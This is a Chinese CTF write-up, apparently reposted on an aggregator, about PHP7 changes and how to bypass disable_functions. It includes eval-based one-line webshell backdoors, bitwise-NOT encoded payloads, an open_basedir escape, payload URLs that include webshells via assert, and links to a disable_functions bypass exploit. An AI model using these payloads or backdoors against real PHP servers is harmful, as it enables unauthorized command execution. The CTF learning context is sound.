php数字取反,[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)

PHP7和PHP5上的安全区别

preg_replace()不再支持/e修饰符

利用\e修饰符执行代码的后门大家也用了不少了，具体看官方的这段描述:

如果设置了这个被弃用的修饰符， preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式)，并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

PHP5:

PHP7:

OR:

function backdoor($a)

{

// 通常: $a[0]是完成的匹配

// $a[1]是第一个捕获子组的匹配

// 以此类推

return eval($a[0]);

}

echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);

?>

create_function()被废弃

$func =create_function('',$_POST['cmd']);$func();

?>

unserialize()增加一个可选白名单参数

略过。。

assert()默认不再可以任意执行代码(assert和eval的区别)

这就是众多马不能用的罪魁祸首了，太多的马用assert()来执行代码了，这个更新基本就团灭，一般情况下修改成eval即可正常运行了~

提一下，菜刀在实现文件管理器的时候用的恰好也是assert函数，这导致菜刀没办法在PHP7上正常运行。

这里说一下assert和eval的区别。

php7中规定了php.ini中的zend.assertions来限制assert。我自己实验，ubuntu安装php7.0后，zend.assertions=-1，默认并不是1。

176227d9169c4a227f74d3012d0165a5.png

eval函数中参数是字符，如：

eval('echo 1;');

assert函数中参数为表达式 (或者为函数)，如：

assert(phpinfo())

直接传递普通代码是无法执行的，如：assert('echo 1;');

需要换成assert(eval('echo 1;'));

还有php中有可变函数的定义，比如

20624b0053e5f6bf8ecdc86aa9268646.png

但是eval()是语言结构，并不是函数，不能作为这样来调用，所以为什么一句话木马里没有将eval用字符串拼接替换，而是用assert(在7.1之前)，7.1的新特性就是assert作为语言结构，不能再动态的去执行，比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。

但是我测试了很多次，发现php7.0中依然assert可以作为可变函数去执行,命令，并不是像eval一样的语言结构，无法作为可变函数，assert再7.0.12，7.1中依然可以作为可变函数。

但是assert确实无法作为一句话木马，经过测试php7.0中仍然可以通过$_POST['1']($_POST['2'])来实现一句话木马功能，但是7.1中，assert(xx) xx只能是函数，而不是作为字符串。

7318e1b9845d25acf352b3f5da7f0e63.png

3d5105eb0b8836d951771a0059e6c8ac.png

常见语言结构列表

echo()

print()

die()

isset()

unset()

include()，注意，include_once()是函数

require()，注意，require_once()是函数

array()

list()

empty()

十六进制字符串不再被认为是数字

这个修改一出，以后CTF套路会少很多啊~

很多骚操作都不能用了~

可以见ISCC的一道题目,intval处理不了16进制字符串返回0，+1，被强制转化10进制+1

不向后兼容的变更(移除了 ASP 和 script PHP 标签)

现在只有<?php ?>这样的标签能在php7上运行

68740419176174a94181ee16fdbcc582.png

移除&ltscript language="php">和<%这两种另类的php标签

废弃容易导致变量覆盖的无第二个参数的parse_str

php7函数调用解析方式，实际题目分析

error_reporting(0);

if(isset($_GET['code'])){

$code=$_GET['code'];

if(strlen($code)>40){

die("This is too Long.");

}

if(preg_match("/[A-Za-z0-9]+/",$code)){

die("NO.");

}

@eval($code);

}

else{

highlight_file(__FILE__);

}

highlight_file(__FILE);

// ?>

这道题目时evoA师傅在极客大挑战中出的一道题目，相比上面的那道题目，这道题目不是简单的让我们去执行函数了，而是让我们通过限制，去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”

$a = "phpinfo";

echo urlencode(~$a);

%8F%97%8F%96%91%99%90 //phpinfo

f6199a14149610273cc981919795b554.png

执行一下phpinfo,查看一下被禁用的函数:

a39c0b3f012c3f7892a3b7a67e4b8a7d.png

pcntl_alarm

pcntl_fork

pcntl_waitpid

pcntl_wait

pcntl_wifexited

pcntl_wifstopped

pcntl_wifsignaled

pcntl_wifcontinued

pcntl_wexitstatus

pcntl_wtermsig

pcntl_wstopsig

pcntl_signal

pcntl_signal_get_handler

pcntl_signal_dispatch

pcntl_get_last_error

pcntl_strerror

pcntl_sigprocmask

pcntl_sigwaitinfo

pcntl_sigtimedwait

pcntl_exec

pcntl_getpriority

pcntl_setpriority

pcntl_async_signals

system

exec

shell_exec

popen

proc_open

passthru

symlink

link

syslog

imap_open

ld

dl

可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

print_r(scandir('./'));

进行编码操作

%8F%8D%96%91%8B%A0%8D # print_r

%8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前目录

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

31ecf29d1784d4d2807b1a24778b6efe.png

发现了readflag和flag文件，尝试一下直接读取flag

readfile('/flag');

编码一下

%8D%9A%9E%9B%99%96%93%9A # readfile

%D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

03551510009936112bcf7c1787a42201.png

可以看出是一个二进制文件，我们需要执行/readflag文件来读取字符串，但是我们常用执行系统函数的方法都被禁止了，但是经过fuzz发现，php的assert函数没有被禁止，我们可以使用assert函数写shell

assert($_POST['a']);

编码一下

%9E%8C%8C%9A%8D%8B # assert

%DB%A0%AF%B0%AC%AB # $_POST

%9E # a

尝试一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

6c44ff8df8db7aca48a69f24ab82c7da.png

//讲一下，这里我自己实验了下，貌似不能这种用法,带$_POST['x']这样的取反，只能函数中套函数。可能我深入的还不够，有师傅知道的，麻烦告诉我。

网页没有正常运行，继续尝试别的方法

在查看tmp目录下发现有其他内容

99a2760429e73f2bbf72c698a4d6c5d4.png

…某不知名大型跑马场，有现成的就很方便了，随便读一个shell看看内容

f80c1027327e34780af70a5b64205725.png

尝试文件包含一下

assert(include("hack.php"););

编码一下，执行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

a201cb0bfc5461ce6aa3c950a43a02b3.png

//说说这里为什么直接结合了include和hack.php，因为include是结构语言，不是函数，因此不能作为可变函数调用，而是作为一个整体调用。

成功执行,使用蚁剑链接一下，上传我们的bypass脚本和拓展库，分享一下常用的两个

aa52e01bcbe5c385db1ed5a2cdcf27c8.png

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这个过程就不演示了，主要就是演示一下最后的利用，包含我们上传的文件

assert(include("ssll.php"););

(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

b2b2e780ab6758abf54e8d4e78567f17.png

成功拿到了flag。有了前面两道题目的基础，我们继续研究最后一道题目

我跟着这位师傅的文章，通过LD_PRELOA绕过获得flag，蚁剑的插件脚本没有成功。

714158975f5415dc807e0f04d0d8d9b1.png

好巧不巧，今天帮忙做的EIS的web第一题，ezbypass也是bypass disable_functions的题目，与SYC的异曲同工。

ezbypass

6c605accbdca248d90c4bb397032f64e.png

查看phpinfo

792c5f2e2199d69d21733135a2fb0fa8.png

899c418ccdc0cf4ba96c14b43bcf1aa4.png

先绕过open_basedir()去根目录查看文件

payload:

http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

01e1b222e832c212e7abfa90323fd5b0.png

readflag，好像在红帽杯看到过这样的。是一个elf文件，要通过执行readflag去获取flag，flag是没权限直接去读的，必须通过readflag才行。

/flag

0f2a718a4bb00d5b170e290373f2ed99.png

/readflag

3dc68944ebe8cba047685ea91f137eae.png

但是我们这里看到，disable_functions中禁止了mail和putenv，这样的话，就不能通过LD_PRELOAD来绕过了。先去读下/tmp目录下的东西吧，估计有预置的马儿。

这里就很像syc的里面的题目的流程了，随便拿一个php看看

20e3cc99cf43886535a5bf99a3202d61.png

85bc80f5a3d75dcde7fcd8d5ffec3a68.png

我们可以通过assert包含马儿，然后通过绕过open_basedir的方法，直接连上马儿，直接能跨目录浏览。

url地址:

http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));

连接密码:

cmd

结合绕过open_basedir和assert文件包含马儿，蚁剑连接后，可以绕过open_basedir的限制

187ee640d15439f58eb10fe2084e5645.png

蚁剑上的绕过disable_functions插件不是太好用。既然这里的LD_PRELOAD不好用，那就用json反序列化来绕过disable_functions

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

传入/tmp中,命令改为/readflag

bf4bd8b0a01b0645a4e8d6decf2f6598.png

然后通过刚刚的包含去读到exploit.php

payload:

http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

99ba6c3a629ecee62061f7a0a448fc55.gif

第三道题目是有关waf的bypass，独立出一篇文章记录

学习文章：https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118

http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/370995.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

如何关闭苹果手机自动扣费_教你关闭苹果手机系统的自动更新功能，旧手机还能再用几年！...

如何关闭苹果手机自动扣费_教你关闭苹果手机系统的自动更新功能，旧手机还能再用几年！...

大家都知道&#xff0c;苹果手机在更新几个大版本后&#xff0c;手机不是变得非常卡&#xff0c;就是非常的耗电&#xff0c;大大的缩短了手机的使用寿命。所以&#xff0c;许多人都不会选择更新系统&#xff0c;但是手机只要连上WiFi并且在充电状态&#xff0c;就会在半夜自动…
阅读更多...
meta标签的常见用法

meta标签的常见用法

一、定义和用法 <meta> 标签始终位于 head 元素中。<meta> 元素可提供有关页面的元信息&#xff08;meta-information&#xff09;&#xff0c;元数据不会显示在页面上&#xff0c;但是对于机器是可读的。比如针对搜索引擎和更新频度的描述和关键词。 元数据&…
阅读更多...
HttpClient的使用

HttpClient的使用

新引入Hutool-HttpUtil的使用&#xff08;更简单&#xff0c;更强大&#xff01;&#xff09;&#xff0c;详见&#xff1a;http://www.cnblogs.com/jiangbei/p/7667858.html 一、概述 1.简介 根据凡技术必登其官网的原则&#xff08;如果有&#xff09;&#xff0c;我们可以先…
阅读更多...
四人帮–代理设计模式

四人帮–代理设计模式

代理是另一种结构设计模式 &#xff0c;可以“代表”另一个对象或“代替”另一个对象以访问后面的对象。 何时使用此模式&#xff1f; 当我们需要创建一个包装来覆盖客户端的主要对象的复杂性时&#xff0c;将使用代理模式。 有哪些使用场景&#xff1f; 虚拟代理–设想一种…
阅读更多...
面试题38_数字在排序数组中出现的次数

面试题38_数字在排序数组中出现的次数

题目描写叙述 统计一个数字在排序数组中出现的次数。解题思路 数组是排序的&#xff0c;所以反复出现的数字是相邻排列的。 用二分查找算法&#xff0c;找到第一次出现的位置。和 最后一次出现的位置。 推断第一次出现的位置条件为&#xff1a;当前数字的前一个是否与之相等。若…
阅读更多...
Hex hsl 转换 php,关于 RGB，HEX，HSL 颜色相互转换

Hex hsl 转换 php,关于 RGB，HEX，HSL 颜色相互转换

最近一段时间在折腾一个微信在线编辑器的项目&#xff0c;使用 UEditor 进行二次开发。关于 UEditor 的定制&#xff0c;用到的都太粗浅&#xff0c;官方文档上都能找得到。主题使用的样式表是 ueditor.css 而不是ueditor.min.css&#xff0c;定制主题要注意这一点。而对整个项…
阅读更多...
使用inetaddress测试目标可达性_PDPS软件机器人虚拟仿真：Smart Place功能介绍与使用方法...

使用inetaddress测试目标可达性_PDPS软件机器人虚拟仿真：Smart Place功能介绍与使用方法...

概述对于机器人工作站或生产线的虚拟仿真&#xff0c;很大一部分的作用是找出机器人与工装夹具等外围设备的最佳布局位置。市面上大多数的工业机器人虚拟仿真软件都有这种专门用于检测机器人与外围设备之间最佳布局位置的功能&#xff0c;比如DELMIA软件中的“Auto Place”功能…
阅读更多...
JAVA基础3——常见关键字解读(1)

JAVA基础3——常见关键字解读(1)

常见的JAVA中的关键字 static static静态变量 静态变量&#xff1a;使用static关键字定义的变量。static可以修饰变量和方法&#xff0c;也有static静态代码块。被static修饰的成员变量和成员方法独立于该类的任何对象。也就是说&#xff0c;它不依赖类特定的实例&#xff0c;被…
阅读更多...
PostgreSQL PL / java简介

PostgreSQL PL / java简介

现代数据库允许以多种语言编写存储过程。 一种常见的实现语言是java.NB&#xff0c;本文讨论了PostgreSQL特定的Java实现。 其他数据库的详细信息会有所不同&#xff0c;但是概念是相同的。 PL / Java的安装 在Ubuntu系统上安装PL / Java很简单。 我将首先创建一个新模板templ…
阅读更多...
强连通分量 圆桌骑士

强连通分量 圆桌骑士

题目描述 圆桌骑士是一个非常吸引人的职业。因此&#xff0c;在最近几年里&#xff0c;亚瑟王史无前例的扩招圆桌骑士&#xff0c;并不令人惊讶。现在这里有许多圆桌骑士&#xff0c;每个圆桌骑士都收到一份珍贵的邀请函&#xff0c;被邀请去英灵殿圆桌。这些骑士将要环绕着坐在…
阅读更多...
微信小程序echarts层级太高

微信小程序echarts层级太高

项目中因为需求&#xff0c;底部的tab导航栏是自己写的&#xff0c;在开发者工具中一切正常&#xff1b;但是在真机上页面滑动时&#xff0c;echarts的层级比tab高&#xff0c;调过两者的z-index后仍然如此。 经过查找后发现cover-view和cover-image替换tab的view后&#xff0…
阅读更多...
php解密 码表,php拼音码表的生成

php解密 码表,php拼音码表的生成

php拼音码表的生成发布于 2014-09-07 11:12:52 | 90 次阅读 | 评论: 0 | 来源: 网友投递PHP开源脚本语言PHP(外文名: Hypertext Preprocessor&#xff0c;中文名&#xff1a;“超文本预处理器”)是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点&#xff0c;入门门槛…
阅读更多...
angular js 使用pdf.js_排名靠前的几个JS框架发展趋势和前景

angular js 使用pdf.js_排名靠前的几个JS框架发展趋势和前景

转载自&#xff1a;葡萄城官网&#xff0c;葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。原文出处&#xff1a;https://blog.bitsrc.io/top-5-javascript-frameworks-past-present-and-future-8b6fda39de02随着信息技术领域的发展&#xff0c;企业…
阅读更多...
工厂设计模式案例研究

工厂设计模式案例研究

我有一份工作来检查我们的项目代码质量。 如果我在项目中发现任何障碍&#xff0c;必须将其报告给我的团队负责人。 我发现了很多漏洞&#xff0c;我认为可以在博客上进行讨论。 不是嘲笑作者&#xff0c;而是一起学习和改进自己。 像这段代码一样&#xff0c;这是我在我们的代…
阅读更多...
【javascript】DOM操作方法（3）——document节点属性

【javascript】DOM操作方法（3）——document节点属性

document.doctype //document.documentElement //来获取html元素 document.defaultView //返回document对象所在的window对象 document.body //返回当前文档的<body>节点 document.head //返回当前文档的<head>节点 document.activeElement //返回当前文…
阅读更多...
debian dhcp服务启动不了_DHCP服务器配置

debian dhcp服务启动不了_DHCP服务器配置

DHCP &#xff1d; Dynamic Host Configuration Protocol 基于TCP/IP&#xff0c;用于动态配置工作站网络接口&#xff0c;使工作站的网络接口管理自动化。DHCP服务器软件dhcpd网站&#xff1a;http://www.isc.org安装方法&#xff1a;#tar -zxvf dhcp-4.0.0.tar.gz#cd dhcp-4.…
阅读更多...
泽西岛的JSON模式生成

泽西岛的JSON模式生成

因此&#xff0c;在上一篇文章中&#xff0c;我讨论了一个允许在WADL中使用JSON-Schema的建议&#xff0c;这篇文章探讨了如何使它与最近构建的Jersey一起使用。 在1.16发布之前&#xff0c;您将必须下载/参考1.16SNAPSHOT。 如果您使用的是Maven&#xff0c;那么假设您已经有…
阅读更多...
C++map类型 之 简单介绍

C++map类型 之 简单介绍

一&#xff1a;map的前世今生&#xff08;1&#xff09;从关联容器与顺序容器说起。关联容器通过键&#xff08;key&#xff09;存储和读取元素。而顺序容器则通过元素在容器中的位置顺序存储和訪问元素&#xff08;vector,queue,stack,list等&#xff09;。关联容器&#xff0…
阅读更多...
MySql Socket 完成数据库的增查Demo

MySql Socket 完成数据库的增查Demo

需求: 利用MySql数据库结合前端技术完成用户的注册(要求不使用Web服务技术),所以 Demo采用Socket技术实现Web通信. 第一部分:数据库创建 数据库采用mysql 5.7.18, 数据库名称为MyUser, 内部有一张表 user.字段有 Id,UserName,Psd,Tel 第二部分:数据库连接与Socket通信 创建控…
阅读更多...
oracle导数卡死,oracle-审计导数

oracle导数卡死,oracle-审计导数

1、因审计需求&#xff0c;需要将MySQL、Oracle数据库中需要的表数据导入到SqlSERVER进行审计。2、之前的方法&#xff1a;A. oracle组将表dump下来&#xff0c;进行压缩&#xff0c;传送到oracle导数服务器(中转服务器)&#xff0c;再进行还原&#xff0c;然后修改表结构&…
阅读更多...
最新文章

Copyright @ 2022~2023